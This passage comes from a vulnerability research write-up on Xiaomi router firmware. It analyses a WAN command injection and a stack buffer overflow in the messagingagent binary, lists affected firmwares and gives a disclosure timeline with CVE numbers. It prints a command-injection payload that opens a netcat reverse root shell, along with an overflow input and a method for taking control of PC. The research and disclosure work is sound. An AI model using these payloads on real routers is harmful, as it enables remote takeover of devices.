Moreover with the payload: serverList=192.168.2.5;rm -f /tmp/f;mknod /tmp/f p;echo 'cat /tmp/f|sh -i 2>&1|nc 192.168.0.1 4242 >/tmp/f' > revshell.sh;chmod 777 revshell.sh; sh revshell.sh;:1883
, we can pop a root shell on the router from WAN:
Now, let’s see where the bug comes from.
The /usr/bin/messagingagent
binary contains the request towards https://eu.api.miwifi.com/miwifi-broker/list
: the URL is built using config_api
from the /usr/share/messaging.conf
file.
key_file = /usr/share/messaging/serverkey_2.pub
push_channel = xqpc
config_api = /miwifi-broker/list
register_device_api = /register_device
miwifi_service_ips = 183.84.5.44,58.83.177.108
This request returns a string of the form: serverList=[IP]:[PORT],...
. The parsing function for this HTTP response is in the function ma_app_context_update_conn_data
at 0x408698
. During the parsing, the IP
and PORT
are simply scraped from the response and concatenated to a string that is passed into the system
function. The issue with this system
method is that the command can be easily injected and, therefore, an injection in the IP
parameter leads to an OS Command injection.
int32_t ma_app_context_update_conn_data(void* arg1)
{
[...]
// Here we can see the split with ",": ["3.127.110.152:1884", "3.127.110.143:1883", "3.127.110.152:1883"]
int32_t* configs_split = ma_str_split(*(int32_t*)((char*)arg1 + 0x18), ",");
int32_t nb_configs = ma_str_array_size(configs_split);
if (nb_configs == 0)
{
trap(0);
}
// Here a split with ":": ["3.127.110.152", "1884"]
int32_t* ip_port_split = ma_str_split(configs_split[(v0_6 % nb_configs)], ":");
if (ma_str_array_size(ip_port_split) != 2)
{
printf("[MQTT ERROR %d %s:%d]: Bad broker list: %s\n", time(0), "/ma_app_context.c", 0xae, *(int32_t*)((char*)arg1 + 0x18));
fflush(stdout);
}
else
{
char* broker_ip = *(int32_t*)ip_port_split;
int32_t broker_port = atoi(ip_port_split[1]);
int32_t fd = fopen("/tmp/state/messagingagent", "w");
void* a0_25;
if (fd == 0)
{
printf("[MQTT ERROR %d %s:%d]: Unable to open /tmp/state/messagingagent\n", time(0), "/ma_app_context.c", 0x130);
fflush(stdout);
a0_25 = *(int32_t*)((char*)arg1 + 0x3c);
}
else
{
if (fprintf(fd, "%s:%d", broker_ip, broker_port) < 0)
{
printf("[MQTT ERROR %d %s:%d]: Unable to update /tmp/state/messagingagent\n", time(0), "/ma_app_context.c", 0x134);
fflush(stdout);
}
fclose(fd);
char command[0x30];
// Command injection here using the IP field
sprintf(&command,
"/sbin/uci set /etc/config/messaging.deviceInfo.BROKER_HOST=%s",
broker_ip);
system(&command);
sprintf(&command,
"/sbin/uci set /etc/config/messaging.deviceInfo.BROKER_PORT=%d",
broker_port);
system(&command);
system("/sbin/uci commit /etc/config/messaging");
[...]
Binary /usr/bin/messagingagent
- Stack Buffer Overflow (CVE-2023-26320)
In addition, we noticed the use of the sprintf
method here, which does not check the length of the IP string copied to the stack buffer, leading to a stack buffer overflow. Replacing the payload with a large string overflows the buffer. We can PoC this buffer overflow with a cyclic input:
serverList=192.168.2.5;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa:1883
Thus, this proves that the stack buffer overflow causes a denial of service (DoS) by crashing the /usr/bin/messagingagent
. The process will not restart on its own and the router will require a reboot to function normally. The updates, MQTT connections, and system health use /usr/bin/messagingagent
as a communication platform: all those systems will be offline due to the DoS. The crash can be seen in the image below.
Problem: we can see here that we do have a crash, but it doesn’t look like a PC
control: it’s more of an arbitrary pointer dereferencement. If we look at the process memory mapping, we can conclude that this bug happens in ma_str_array_clear()
:
void ma_str_array_clear(char** str_array) {
char** _str_array = str_array;
if (str_array == 0) {
return;
}
while (true) {
char* str = *(int32_t*)_str_array;
if (str == 0) {
break;
}
_str_array = &_str_array[1]; // _str_array++
free(str);
}
return free(str_array);
}
This function is indeed called at the end of our target function ma_app_context_update_conn_data()
:
int32_t ma_app_context_update_conn_data(void* arg1) {
[...]
ma_str_array_clear(configs_split);
ma_str_array_clear(ip_port_split);
ret = pthread_mutex_unlock(arg1);
}
return ret;
}
We have a problem here because the stack is structured this way:
[...]
char overflow_buffer[128];
char** configs_split;
When overflowing the overflow_buffer we overwrote the char**
passed to the ma_str_array_clear()
function. Later, this function tries to free the contents of the parameter and dereference something that can’t be dereferenced, thus leading to an obvious crash.
We can circumvent this problem with a little trick: overwrite the char** overwritten_string_array_pointer
with a valid address that points to 0x00000000
. To do so, we can for example take an address from a library that will be mapped to the process memory. At the end of the function, ma_str_array_clear()
will try to free it and see that the pointer already points to NULL and so it will return to ma_app_context_update_conn_data()
. We can then execute the return instruction and control PC
.
As can be seen in the payload below, we have changed BBBB
to ws¢(
(for 0x7773a228
) which is an address inside a library that is loaded at runtime. This simple change allows us to have a direct impact on PC
as can be seen in the image below:
Indeed, we notice that the program counter PC
is changed to the string kaaa
which is in our cyclic payload: we here took the control of PC
after 97 bytes.
Once again, however, we have a similar issue to the smartcontroller
binary in which we were unable to pass a NULL byte thus complicating the exploitation using ROP (in the messagingagent
binary), even if it could still be possible using only library addresses as we did with 0x7773a228
.
The main issue here is the presence of ASLR which does not allow us to know in advance the location of the libraries: we would then, for example, need an ASLR leak to exploit this bug (we can’t bruteforce ASLR because we know that if the process crashes, it won’t restart by itself). At least, we still have a DoS here.
Furthermore, as we already achieved an RCE on the WAN, we decided to not pursue this vulnerability exploitation further.
Some affected products
This section contains a table with some Xiaomi firmwares found to be vulnerable to the reported bugs. Indeed, after the first duplicate, we realized that Xiaomi routers have a common code base for the different routers firmwares, therefore, a single vulnerability probably affects various routers. Naturally, we only programmatically checked the firmwares by downloading them online and did not buy the routers for testing.
Note: “mitigated” for the buffer overflows means that the binary is compiled with the stack canary protection that makes the exploit of stack buffer overflows even more difficult.
Conclusion
In summary, this report discussed various vulnerabilities we found in the WAN and LAN interfaces of the Mi AIoT Router AC2350
, and validated their existence in other Xiaomi firmwares as well.
We have unearthed vulnerabilities that go as far back as 2020 and have also identified four new CVEs (CVE-2023-26317, CVE-2023-26318, CVE-2023-26319, and CVE-2023-26320).
While we hope our findings assist Xiaomi in strengthening their product security, it is worth noting that there are probably more bugs to find!
Timeline
- [18/01/2023] Reports sent to Xiaomi on Hackerone
- [03/02/2023] First bounty payments
- [01/08/2023] 4 CVEs assigned and published on Xiaomi Security Center:
- CVE-2023-26317: https://trust.mi.com/misrc/bulletins/advisory?cveId=529 (WAN command injection)
- CVE-2023-26318: https://trust.mi.com/misrc/bulletins/advisory?cveId=539 (LAN post auth stack buffer overflow)
- CVE-2023-26319: https://trust.mi.com/misrc/bulletins/advisory?cveId=536 (LAN post auth command injection)
- CVE-2023-26320: https://trust.mi.com/misrc/bulletins/advisory?cveId=540 (WAN stack buffer overflow)